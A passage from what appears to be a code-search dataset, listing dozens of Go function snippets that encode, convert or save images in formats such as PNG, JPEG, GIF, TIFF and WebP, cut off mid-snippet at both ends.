i++ {\n\t\t\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\n\t\t\t\tinputImg.SetRGBA64(j, i, EncodeColor(inputImg.RGBA64At(j, i)))\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\tfor i := bounds.Min.Y; i < bounds.Max.Y; i++ {\n\t\t\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\n\t\t\t\timg.Set(j, i, EncodeColor(img.At(j, i)))\n\t\t\t}\n\t\t}\n\t}\n}","func encodePng(img image.Image) (data []byte, mime string, err error) {\n\tvar buf bytes.Buffer\n\terr = png.Encode(&buf, img)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\treturn buf.Bytes(), \"image/png\", nil\n}","func EncodePng(scope *Scope, image tf.Output, optional ...EncodePngAttr) (contents tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\tattrs := map[string]interface{}{}\n\tfor _, a := range optional {\n\t\ta(attrs)\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"EncodePng\",\n\t\tInput: []tf.Input{\n\t\t\timage,\n\t\t},\n\t\tAttrs: attrs,\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}","func WritePngImage(byteImage ByteImage, pngFile *os.File) (string, error) {\n\t// compute images values\n\timgWidth := byteImage.width\n\timgHeight := byteImage.height\n\t// create image\n\timgRect := image.Rect(0, 0, imgWidth, imgHeight)\n\timg := image.NewGray(imgRect)\n\timg.Pix = byteImage.bytes\n\timg.Stride = imgWidth\n\t// write image\n\terr := png.Encode(pngFile, img)\n\t// if err != nil {\n\t// \tlog.Println(err)\n\t// \tos.Exit(1)\n\t// }\n\treturn pngFile.Name(), err\n}","func WriteImage(imgToWrite image.Image, fileName string) {\n\tnewfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer newfile.Close()\n\tpng.Encode(newfile, imgToWrite)\n}","func encodeImage(w io.Writer, img image.Image, format Format) bool {\n\tswitch format {\n\tcase JPEG:\n\t\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 80}) != nil\n\n\tcase PNG:\n\t\tencoder := png.Encoder{CompressionLevel: 90 }\n\t\treturn encoder.Encode(w, img) != nil\n\n\t}\n glog.Errorf(\"ERR: ErrUnsupportedFormat\")\n\treturn false\n}","func Encode(w io.Writer, m image.Image) error {\n\te := &encoder{\n\t\tw: w,\n\t\tbuff: bytes.NewBuffer([]byte{}),\n\t\tzbuff: bytes.NewBuffer([]byte{}),\n\t\tcrc: crc32.NewIEEE(),\n\t}\n\n\tif err := png.Encode(e.buff, fixAlphaChannel(m)); err != nil {\n\t\treturn err\n\t}\n\n\tif err := e.makeHeader(); err != nil {\n\t\treturn err\n\t}\n\n\tif err := e.makeCgBI(); err != nil {\n\t\treturn err\n\t}\n\n\tfor e.stage != dsSeenIEND {\n\t\tif err := e.parseChunk(); err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\terr = io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func SaveImage(w io.Writer, content io.Reader, format string) error {\n\timg, _, err := image.Decode(content)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch strings.ToLower(format) {\n\tcase \"img\":\n\t\t_, err = io.Copy(w, content)\n\t\treturn err\n\tcase \"gif\":\n\t\treturn gif.Encode(w, img, nil)\n\tcase \"jpg\", \"jpeg\":\n\t\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 100})\n\tcase \"png\":\n\t\tpngEncoder := png.Encoder{CompressionLevel: png.BestCompression}\n\t\treturn pngEncoder.Encode(w, img)\n\tdefault:\n\t\treturn errors.New(\"format not found\")\n\t}\n}","func SaveImage(w io.Writer, content io.Reader, format string) error {\n\timg, _, err := image.Decode(content)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch strings.ToLower(format) {\n\tcase \"img\":\n\t\t_, err = io.Copy(w, content)\n\t\treturn err\n\tcase \"gif\":\n\t\treturn gif.Encode(w, img, nil)\n\tcase \"jpg\", \"jpeg\":\n\t\treturn jpeg.Encode(w, img, nil)\n\tcase \"png\":\n\t\treturn png.Encode(w, img)\n\tdefault:\n\t\treturn errors.New(\"format not found\")\n\t}\n}","func Encode(w io.Writer, m image.Image, opt *Options) error {\n\tif opt != nil && opt.ColorModel != nil {\n\t\tm = convert.ColorModel(m, opt.ColorModel)\n\t}\n\tif opt != nil && opt.Options != nil {\n\t\treturn tiff.Encode(w, m, opt.Options)\n\t} else {\n\t\treturn tiff.Encode(w, m, nil)\n\t}\n}","func writeImage(w http.ResponseWriter, img *image.Image) {\r\n\r\n\tbuffer := new(bytes.Buffer)\r\n\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\r\n\t\tlog.Println(\"unable to encode image.\")\r\n\t}\r\n\r\n\tw.Header().Set(\"Content-Type\", \"image/jpeg\")\r\n\tw.Header().Set(\"Content-Length\", strconv.Itoa(len(buffer.Bytes())))\r\n\tif _, err := w.Write(buffer.Bytes()); err != nil {\r\n\t\tlog.Println(\"unable to write image.\")\r\n\t}\r\n}","func Encode(nativeImage image.Image, parameters imageserver.Parameters) (*imageserver.Image, error) {\n\tbuf := new(bytes.Buffer)\n\terr := png.Encode(buf, nativeImage)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timage := &imageserver.Image{\n\t\tFormat: \"png\",\n\t\tData: buf.Bytes(),\n\t}\n\n\treturn image, nil\n}","func EncodeImage(filename string, src image.Image) error {\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tjpeg.Encode(f, src, nil)\n\treturn nil\n}","func save(fileName string, img image.Image) {\n\tfile, _ := os.Create(fileName)\n\tdefer file.Close()\n\tpng.Encode(file, img)\n}","func savePNG(name string, img image.Image) {\n\tfilename := outputPrefix + name + \".png\"\n\tfp, err := os.Create(filename)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = png.Encode(fp, img)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func Formatpng(img image.Image, filepath string) (err error) {\n\tout, err := os.Create(filepath)\n\tdefer out.Close()\n\treturn png.Encode(out, img)\n}","func encodeGIFImage(gameID string, i int) (*image.Paletted, error) {\n\tf, err := os.Open(fileBaseFor(gameID, i) + \".png\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tinPNG, err := png.Decode(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbounds := inPNG.Bounds()\n\tmyPalette := append(palette.WebSafe, []color.Color{lightColor, darkColor}...)\n\tpalettedImage := image.NewPaletted(bounds, myPalette)\n\tdraw.Draw(palettedImage, palettedImage.Rect, inPNG, bounds.Min, draw.Over)\n\n\treturn palettedImage, nil\n}","func writeImageWithTemplate(w http.ResponseWriter, img *image.Image) {\n\n\tbuffer := new(bytes.Buffer)\n\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\n\t\tlog.Fatalln(\"unable to encode image.\")\n\t}\n\n\tstr := base64.StdEncoding.EncodeToString(buffer.Bytes())\n\tif tmpl, err := template.New(\"image\").Parse(ImageTemplate); err != nil {\n\t\tlog.Println(\"unable to parse image template.\")\n\t} else {\n\t\tdata := map[string]interface{}{\"Image\": str}\n\t\tif err = tmpl.Execute(w, data); err != nil {\n\t\t\tlog.Println(\"unable to execute template.\")\n\t\t}\n\t}\n}","func Encode(img *BC5, w io.Writer) error {\n\n\theaderBytes := make([]byte, 12)\n\tbinary.BigEndian.PutUint32(headerBytes[:4], strToDword(\"BC5 \"))\n\tbinary.BigEndian.PutUint32(headerBytes[4:8], uint32(img.Rect.Size().X))\n\tbinary.BigEndian.PutUint32(headerBytes[8:12], uint32(img.Rect.Size().Y))\n\tn, err := w.Write(headerBytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif n != 12 {\n\t\treturn errors.New(\"failed to write header\")\n\t}\n\n\tn, err = w.Write(img.Data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif n != len(img.Data) {\n\t\treturn errors.New(\"failed to write image data\")\n\t}\n\treturn nil\n}","func exportPNG(img image.Image, path string) {\n\tout, err := os.Create(path)\n\tdefer out.Close()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tpng.Encode(out, img)\n}","func Encode(w io.Writer, m image.Image, opt *Options) error {\n\tif opt != nil && opt.ColorModel != nil {\n\t\tm = convert.ColorModel(m, opt.ColorModel)\n\t}\n\treturn errors.New(\"jxr: Encode, unsupported\")\n}","func WritePNG(path string, newIMG image.Image) {\n\tbuf := &bytes.Buffer{}\n\terr := png.Encode(buf, newIMG)\n\tif err != nil {\n\t\tExitErr(err)\n\t} else {\n\t\terr = ioutil.WriteFile(path, buf.Bytes(), 0600)\n\t\tif err != nil {\n\t\t\tExitErr(err)\n\t\t}\n\t}\n}","func EncodeJpeg(w io.Writer, img Image) (int64, error) {\n\tslice, err := img.image().gdImageJpeg()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn bytes.NewBuffer(slice).WriteTo(w)\n}","func EncodeNewImg(dstImagePath string, dstImg image.Image) {\n\tdstImgFile, CreateErr := os.Create(dstImagePath)\n\tErrorHandling(CreateErr)\n\tdefer dstImgFile.Close()\n\n\tdstFormat := GetFileExtension(dstImagePath)\n\tswitch dstFormat {\n\tcase \".jpg\":\n\t\tEncodeErr := jpeg.Encode(dstImgFile, dstImg, &jpeg.Options{Quality: 100})\n\t\tErrorHandling(EncodeErr)\n\tcase \".gif\":\n\t\tEncodeErr := gif.Encode(dstImgFile, dstImg, nil)\n\t\tErrorHandling(EncodeErr)\n\tcase \".png\":\n\t\tEncodeErr := png.Encode(dstImgFile, dstImg)\n\t\tErrorHandling(EncodeErr)\n\t}\n}","func WriteFile(t *testing.T, file string, img image.Image) {\n\tfd, err := os.Create(file)\n\tif err != nil {\n\t\tt.Log(err)\n\t\tt.FailNow()\n\t}\n\tdefer fd.Close()\n\terr = enc.Encode(fd, img)\n\tif err != nil {\n\t\tt.Log(err)\n\t\tt.FailNow()\n\t}\n}","func NewPNGEncoder() Encoder {\n\treturn &pngEncoder{}\n}","func SavePNG(img image.Image, filename string) error {\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\treturn png.Encode(f, img)\n}","func SaveImagePNG(img image.Image, path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tpng.Encode(f, img)\n\treturn nil\n}","func Encode(w io.Writer, m hdr.Image) error {\n\treturn EncodeWithOptions(w, m, Mode6)\n}","func (enc *JBIG2Encoder) EncodeImage(img image.Image) ([]byte, error) {\n\treturn enc.encodeImage(img)\n}","func save(img *image.RGBA, fileName string) {\n\tfileName = filepath.Join(os.TempDir(), fileName)\n\tlog.Println(\"Saving to \", fileName)\n\tfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tdefer file.Close()\n\tpng.Encode(file, img)\n}","func SavePNG(filename string, img image.Image) error {\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer output.Close()\n\tif err = png.Encode(output, img); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"Saved\", filename)\n\treturn nil\n}","func SaveNewImgToEncode(srcImagePath string, width int, height int) image.Image {\n\tsrcImgFile := OpenImgPath(srcImagePath)\n\tdefer srcImgFile.Close()\n\tsrcImg, _, DecodeErr := image.Decode(srcImgFile)\n\tErrorHandling(DecodeErr)\n\n\tsrcRct := srcImg.Bounds()\n\tdstImg := image.NewRGBA(image.Rect(0, 0, width, height))\n\tdstRct := dstImg.Bounds()\n\tdraw.CatmullRom.Scale(dstImg, dstRct, srcImg, srcRct, draw.Over, nil)\n\n\treturn dstImg\n}","func (ap *APNGModel) Encode() error {\n\tif len(ap.images) != len(ap.delays){\n\t\treturn errors.New(\"Number of delays doesn't match number of images\")\n\t}\n\n\tseqNb := 0\n\tfor index, img := range ap.images{\n\t\tpngEnc := &png.Encoder{}\n\t\t\n\t\tpngEnc.CompressionLevel = png.BestCompression\n\n\t\tcurImgBuffer := new(bytes.Buffer)\n\n\t\tif err := pngEnc.Encode(curImgBuffer, img); err != nil{\n\t\t\tfmt.Println(err)\n\t\t\treturn err\n\t\t}\n\t\tif curPngChunk, err := ap.getPNGChunk(curImgBuffer); err != nil{\n\t\t\treturn err\n\t\t} else{\n\t\t\tif(index == 0){\n\t\t\t\tap.writePNGHeader()\n\t\t\t\tap.appendIHDR(curPngChunk)\n\t\t\t\tap.appendacTL(img)\n\t\t\t\tap.appendfcTL(&seqNb, img, ap.delays[index])\n\t\t\t\tap.appendIDAT(curPngChunk)\n\t\t\t}else{\n\t\t\t\tap.appendfcTL(&seqNb, img, ap.delays[index])\n\t\t\t\tap.appendfDAT(&seqNb, curPngChunk)\n\t\t\t}\t\n\t\t}\n\t}\n\tap.writeIENDHeader()\n\n\treturn nil\n}","func Save(filename string, img image.Image, format Format) error {\n\tfilename = strings.TrimSuffix(filename, filepath.Ext(filename))\n\n\tswitch format {\n\tcase PNG:\n\t\tfilename += \".png\"\n\tcase JPEG:\n\t\tfilename += \".jpg\"\n\t}\n\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\treturn Encode(f, img, format)\n}","func (j *julia) ToPng(path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := png.Encode(f, j.img); err != nil {\n\t\tf.Close()\n\t\treturn err\n\t}\n\n\tif err := f.Close(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (s *StegImage) WriteNewImageToFile(imgPath string) (err error) {\n\tmyfile, _ := os.Create(imgPath)\n\tdefer myfile.Close()\n\n\tenc := png.Encoder{CompressionLevel: png.BestCompression}\n\terr = enc.Encode(myfile, s.newImg)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\n\treturn err\n}","func SaveAsPNG(name string, img image.Image, compresLvl png.CompressionLevel) {\n\tl := new(Legofy)\n\tif name == \"\" {\n\t\tname = l.getNewFileName()\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\tvar Enc png.Encoder\n\tEnc.CompressionLevel = compresLvl\n\terr = Enc.Encode(f, img)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n}","func (c *Client) SaveImage(ctx context.Context, image, format string, writer io.WriteCloser) error {\n\t// Parse the image name and tag.\n\tnamed, err := reference.ParseNormalizedNamed(image)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"parsing image name %q failed: %v\", image, err)\n\t}\n\t// Add the latest lag if they did not provide one.\n\tnamed = reference.TagNameOnly(named)\n\timage = named.String()\n\n\t// Create the worker opts.\n\topt, err := c.createWorkerOpt(false)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating worker opt failed: %v\", err)\n\t}\n\n\tif opt.ImageStore == nil {\n\t\treturn errors.New(\"image store is nil\")\n\t}\n\n\texportOpts := []archive.ExportOpt{\n\t\tarchive.WithImage(opt.ImageStore, image),\n\t}\n\n\tswitch format {\n\tcase \"docker\":\n\n\tcase \"oci\":\n\t\texportOpts = append(exportOpts, archive.WithSkipDockerManifest())\n\n\tdefault:\n\t\treturn fmt.Errorf(\"%q is not a valid format\", format)\n\t}\n\n\tif err := archive.Export(ctx, opt.ContentStore, writer, exportOpts...); err != nil {\n\t\treturn fmt.Errorf(\"exporting image %s failed: %v\", image, err)\n\t}\n\n\treturn writer.Close()\n}","func exportJPG(img image.Image, path string) {\n\tout, err := os.Create(path)\n\tdefer out.Close()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tjpeg.Encode(out, img, &jpeg.Options{Quality: 90})\n}","func (a *Atlas) SavePNG(filename string) error {\n\n\t// Save that RGBA image to disk.\n\toutFile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer outFile.Close()\n\n\tb := bufio.NewWriter(outFile)\n\terr = png.Encode(b, a.Image)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = b.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func WritePNG(w io.Writer, p Parameters) {\n\tloggingEnabled = p.Logging\n\timg := generateMandelbrot(p.Iterations, p)\n\tpng.Encode(w, img)\n}","func save(img *image.RGBA, filePath string) {\n\t// filePath = \"screenshots/\" + filePath\n\t// file, err := os.Create(filePath)\n\t// if err != nil {\n\t// \tpanic(err)\n\t// }\n\t// defer file.Close()\n\t// png.Encode(file, img)\n\n\tbuf := new(bytes.Buffer)\n\tpng.Encode(buf, img)\n\tbase64Byte := buf.Bytes()\n\timgBase64Str := base64.StdEncoding.EncodeToString(base64Byte)\n\tsendScreenShot(imgBase64Str)\n\n}","func (e *encoder) encode(w compresserWriter) error {\n\td := e.m.Bounds().Size()\n\n\tvar err error\n\tfor y := 0; y < d.Y; y++ {\n\t\tfor x := 0; x < d.X; x++ {\n\t\t\tpixel := e.bytesAt(x, y)\n\t\t\t_, err = w.Write(pixel)\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn w.Flush()\n}","func Encode(im image.Image, ext string) (io.Reader, error) {\n\treader, writer := io.Pipe()\n\n\tformat, err := imaging.FormatFromExtension(ext)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo func() {\n\t\terr := imaging.Encode(writer, im, format)\n\t\tdefer writer.Close()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\treturn reader, nil\n}","func (m *Image) WriteTo(w io.Writer) (int64, error) {\n\tn, err := w.Write(m.encodedPNG())\n\treturn int64(n), err\n}","func EncodeRGBA(w io.Writer, img image.Image, c Config) (err error) {\n\twebpConfig, err := initConfig(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpic := C.malloc_WebPPicture()\n\tif pic == nil {\n\t\treturn errors.New(\"Could not allocate webp picture\")\n\t}\n\tdefer C.free_WebPPicture(pic)\n\n\tmakeDestinationManager(w, pic)\n\tdefer releaseDestinationManager(pic)\n\n\tif C.WebPPictureInit(pic) == 0 {\n\t\treturn errors.New(\"Could not initialize webp picture\")\n\t}\n\tdefer C.WebPPictureFree(pic)\n\n\tpic.use_argb = 1\n\n\tpic.width = C.int(img.Bounds().Dx())\n\tpic.height = C.int(img.Bounds().Dy())\n\n\tpic.writer = C.WebPWriterFunction(C.writeWebP)\n\n\tswitch p := img.(type) {\n\tcase *rgb.Image:\n\t\tC.WebPPictureImportRGB(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\n\tcase *image.NRGBA:\n\t\tC.WebPPictureImportRGBA(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\n\tdefault:\n\t\treturn errors.New(\"unsupported image type\")\n\t}\n\n\tif C.WebPEncode(webpConfig, pic) == 0 {\n\t\treturn fmt.Errorf(\"Encoding error: %d\", pic.error_code)\n\t}\n\n\treturn\n}","func WriteImageToHTTP(w http.ResponseWriter, img image.Image) error {\n\tbuffer := new(bytes.Buffer)\n\tif err := png.Encode(buffer, img); err != nil {\n\t\treturn err\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"image/png\")\n\tw.Header().Set(\"Content-Length\", strconv.Itoa(len(buffer.Bytes())))\n\tif _, err := w.Write(buffer.Bytes()); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (p PNGImage) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"keyFrameInterval\", p.KeyFrameInterval)\n\tpopulate(objectMap, \"label\", p.Label)\n\tpopulate(objectMap, \"layers\", p.Layers)\n\tobjectMap[\"@odata.type\"] = \"#Microsoft.Media.PngImage\"\n\tpopulate(objectMap, \"range\", p.Range)\n\tpopulate(objectMap, \"start\", p.Start)\n\tpopulate(objectMap, \"step\", p.Step)\n\tpopulate(objectMap, \"stretchMode\", p.StretchMode)\n\tpopulate(objectMap, \"syncMode\", p.SyncMode)\n\treturn json.Marshal(objectMap)\n}","func (g GIF) Write(textImage *image.RGBA, w io.Writer) error {\n\t// TODO: Break this out on each CPU\n\tfor _, img := range g.GIF.Image {\n\t\tdraw.DrawMask(img, textImage.Bounds(), textImage, image.ZP, textImage, image.ZP, draw.Over)\n\t}\n\n\treturn gif.EncodeAll(w, g.GIF)\n}","func encodePNG(path string, checkNeighbors bool) (string, error) {\n\treturn \"\", fmt.Errorf(\"PNG encoding not supported.\")\n\timg, err := gg.LoadPNG(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbounds := img.Bounds()\n\twidth := bounds.Max.X\n\theight := bounds.Max.Y\n\tcoords := make(Coords, 0)\n\tfor x := 0; x < width; x += 1 {\n\t\tfor y := 0; y < height; y += 1 {\n\t\t\tif pixelIsBlack(img, x, y) {\n\t\t\t\t// Check if there exists a pixel a distance of radius \n\t\t\t\t// in all four cardinal directions (must be a source point)\n\t\t\t\tif checkNeighbors {\n\t\t\t\t\tn := pixelIsBlack(img, x, int(math.Max(float64(y) - 4, 0)))\n\t\t\t\t\ts := pixelIsBlack(img, x, int(math.Min(float64(y) + 4, float64(height))))\n\t\t\t\t\te := pixelIsBlack(img, int(math.Min(float64(x) + 4, float64(width))), y)\n\t\t\t\t\tw := pixelIsBlack(img, int(math.Max(float64(x) - 4, 0)), y)\n\t\t\t\t\tif !(n && e && s && w) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcx := math.Round(scale(x, width, HRM_MAX))\n\t\t\t\tcy := math.Round(scale(y, height, HRM_MAX))\n\t\t\t\tcoords = append(coords, [2]float64{cx, cy})\n\t\t\t}\n\t\t}\n\t}\n\treturn encodeComment(coords)\n}","func (r *Renderer) Save(fileName string) {\n\tfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer file.Close()\n\tpng.Encode(file, flipper.FlipV(r.img))\n}","func (tg *TurtleGraphics) SavePNG(filePath string) error {\n\tf, err := os.Create(filePath)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\tb := bufio.NewWriter(f)\n\n\terr = png.Encode(b, tg.Image)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = b.Flush()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func EncodeAll(w io.Writer, g *GIF) error","func encode(in string, out string, width int, height int) {\n\n\tbinary, err := ioutil.ReadFile(in)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tencoder := encoder.NewEncoder(binary, width, height)\n\tencoder.Encode()\n\n\tif err = encoder.Out(out); err != nil {\n\t\tpanic(err)\n\t}\n}","func Convert(w io.Writer, img image.Image, filename string) error {\n\n\tf, err := imaging.FormatFromFilename(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn imaging.Encode(w, img, f)\n}","func SaveImageToFile(images []image.Image, filenamePrefix string) error {\n\tfor index, img := range images {\n\t\ttempImageFilename := fmt.Sprintf(\"%s-%06d.png\", filenamePrefix, index)\n\t\toutputFile, err := os.Create(tempImageFilename)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpng.Encode(outputFile, img)\n\t\toutputFile.Close()\n\t}\n\treturn nil\n}","func WritePNG(content []byte) (string, error) {\n\tfilename := fmt.Sprint(uuid.New().String(), \".png\")\n\tfile, err := os.OpenFile(\n\t\tfmt.Sprint(constants.TempDirectory, filename),\n\t\tos.O_WRONLY|os.O_TRUNC|os.O_CREATE,\n\t\tos.ModePerm,\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\t_, err = file.Write(content)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn filename, nil\n}","func (s *Scraper) encodeJPEG(img image.Image) *bytes.Buffer {\n\to := &jpeg.Options{\n\t\tQuality: int(s.config.ImageQuality),\n\t}\n\n\toutBuf := &bytes.Buffer{}\n\tif err := jpeg.Encode(outBuf, img, o); err != nil {\n\t\treturn nil\n\t}\n\treturn outBuf\n}","func CreatePng(filename string, f ComplexFunc, n int) (err error) {\n\t//create the file that will hold the image\n\tfile, err := os.Create(filename)\n\t//check for errors.\n\tif err != nil {\n\t\treturn\n\t}\n\t//when evertyhing else in this method is finished - close file\n\tdefer file.Close()\n\t//make the return variable by encoding the file using the function f and size n\n\terr = png.Encode(file, Julia(f, n))\n\n\treturn\n}","func Encode(data []byte, width, height int) (*image.NRGBA, error) {\n\t// 4 bytes can be stored in every pixel (NRGBA)\n\tmaxLength := width * height * 4\n\tif len(data) > maxLength {\n\t\treturn nil, fmt.Errorf(\"data does not fit the image size\")\n\t}\n\timg := image.NewNRGBA(image.Rectangle{image.Point{0, 0}, image.Point{width, height}})\n\timg.Pix = data\n\tfor i := len(img.Pix); i < maxLength; i++ {\n\t\timg.Pix = append(img.Pix, 0)\n\t}\n\treturn img, nil\n}","func (m *Mosaic) Save(path string) error {\n\tif m.out == nil {\n\t\treturn fmt.Errorf(\"image not rendered\")\n\t}\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cant save picture: \" + err.Error())\n\t}\n\tdefer f.Close()\n\n\tif strings.HasSuffix(path, \".png\") {\n\t\treturn png.Encode(f, m.out)\n\t}\n\treturn jpeg.Encode(f, m.out, nil)\n}","func RenderPNG(inputFile, outputFile, imageFile, shape, effect string, scale float64) {\n\tcolor.Yellow(\"Reading image file...\")\n\n\timg, err := util.DecodeImage(imageFile)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcolor.Yellow(\"Reading input file...\")\n\tpoints, err := decodePoints(inputFile)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcolor.Yellow(\"Generating PNG...\")\n\tfilename := outputFile\n\n\tif !strings.HasSuffix(filename, \".png\") {\n\t\tfilename += \".png\"\n\t}\n\n\tvar writePNG func(string, normgeom.NormPointGroup, image.Data, float64) error\n\tvar writeEffectPNG func(string, normgeom.NormPointGroup, image.Data, float64, bool) error\n\n\tswitch shape {\n\tcase \"triangles\":\n\t\twritePNG = triangles.WritePNG\n\t\twriteEffectPNG = triangles.WriteEffectPNG\n\t\tbreak\n\tcase \"polygons\":\n\t\twritePNG = polygons.WritePNG\n\t\twriteEffectPNG = polygons.WriteEffectPNG\n\t\tbreak\n\tdefault:\n\t\tcolor.Red(\"invalid shape type\")\n\t\treturn\n\t}\n\n\tswitch e := strings.ToLower(effect); e {\n\tcase \"none\":\n\t\terr = writePNG(filename, points, img, scale)\n\tcase \"gradient\":\n\t\terr = writeEffectPNG(filename, points, img, scale, true)\n\tcase \"split\":\n\t\terr = writeEffectPNG(filename, points, img, scale, false)\n\tdefault:\n\t\tcolor.Red(\"unknown effect\")\n\t\treturn\n\t}\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tcolor.Red(\"error generating PNG\")\n\t\treturn\n\t}\n\n\tcolor.Green(\"Successfully generated PNG at %s!\", filename)\n}","func (img *Image) WriteToFile(outputPath string) error {\n\tcimg := image.NewRGBA(img._Rect)\n\tdraw.Draw(cimg, img._Rect, img._Image, image.Point{}, draw.Over)\n\n\tfor y := 0; y < img.Height; y++ {\n\t\tfor x := 0; x < img.Width; x++ {\n\t\t\trowIndex, colIndex := y, x\n\t\t\tpixel := img.Pixels[rowIndex][colIndex]\n\t\t\tcimg.Set(x, y, color.RGBA{\n\t\t\t\tuint8(pixel.R),\n\t\t\t\tuint8(pixel.G),\n\t\t\t\tuint8(pixel.B),\n\t\t\t\tuint8(pixel.A),\n\t\t\t})\n\t\t}\n\t}\n\n\ts := strings.Split(outputPath, \".\")\n\timgType := s[len(s)-1]\n\n\tswitch imgType {\n\tcase \"jpeg\", \"jpg\", \"png\":\n\t\tfd, err := os.Create(outputPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch imgType {\n\t\tcase \"jpeg\", \"jpg\":\n\t\t\tjpeg.Encode(fd, cimg, nil)\n\t\tcase \"png\":\n\t\t\tpng.Encode(fd, cimg)\n\t\t}\n\tdefault:\n\t\treturn errors.New(\"unknown image type\")\n\t}\n\n\treturn nil\n}","func (f *Framebuffer) PNG() (string, error) {\n\tif glog.V(3) {\n\t\tglog.Info(venuelib.FnName())\n\t}\n\tvar buf bytes.Buffer\n\terr := png.Encode(&buf, f.fb)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(buf.Bytes()), nil\n}","func SavePNGRepresentations(r io.Reader, options []Options) error {\n\n\tif r == nil {\n\t\treturn errors.New(\"Nil reader received in SaveJpegRepresentation\")\n\t}\n\n\t// Read the image data, if we have a jpeg, convert to png?\n\toriginal, _, err := image.Decode(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// For each option, save a file\n\tfor _, o := range options {\n\n\t\tfmt.Printf(\"Saving image file - %v\\n\", o)\n\n\t\t// Resize this image given the params - this is always in proportion, NEVER stretched\n\t\t// If Square is true we crop to a square\n\t\tresized, err := ResizeImage(original, o.MaxWidth, o.MaxHeight, false)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Write out to the desired file path\n\t\tw, err := os.Create(o.Path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer w.Close()\n\t\terr = png.Encode(w, resized)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\treturn nil\n\n}","func EncodeAll(w io.Writer, m gif.GIF) error {\n\n\tif 